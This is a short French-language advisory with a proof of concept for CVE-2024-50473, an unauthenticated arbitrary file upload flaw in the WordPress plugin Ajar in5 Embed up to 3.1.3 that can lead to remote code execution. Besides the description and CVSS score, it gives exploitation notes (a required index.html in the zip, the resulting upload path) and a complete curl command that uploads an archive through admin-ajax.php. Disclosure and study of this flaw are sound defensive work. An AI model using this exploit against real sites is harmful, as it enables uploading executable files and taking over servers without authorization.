
Ajar in5 Embed <= 3.1.3 - Téléchargement arbitraire de fichier non authentifié
Ajar in5 Embed <= 3.1.3 - Téléchargement de fichier arbitraire non authentifié
Le plugin Ajar in5 Embed pour WordPress est vulnérable aux téléchargements de fichiers arbitraires en raison d'un manque de validation du type de fichier dans toutes les versions jusqu'à la 3.1.3 incluse. Cela permet à des attaquants non authentifiés de télécharger des fichiers arbitraires sur le serveur du site affecté, ce qui peut permettre l'exécution de code à distance.
Published: 2024-10-25 00:00:00
CVE: CVE-2024-50473
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS Score: 9.8
Slugs: ajar-productions-in5-embed
Remarque: Le fichier Zip doit contenir un index.html même vide et vous obtiendrez une erreur 500, ce qui est normal.
Les fichiers téléchargés se trouveront dans /wp-content/uploads/2024/php5/ - php5 est le nom du fichier zip sans l'extension.
curl -X POST "http://kubernetes.docker.internal/wp-admin/admin-ajax.php?action=in5&in5=upload" \
-H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0" \
-H "Accept: application/json, text/javascript, */*; q=0.01" \
-H "Accept-Language: en-US,en;q=0.5" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Referer: http://kubernetes.docker.internal/wp-admin/post.php?post=4142&action=edit" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Content-Type: multipart/form-data" \
-F "customPath=wp-content/uploads/2024/" \
-F "files[]=@/path/to/php5.zip" \
--compressed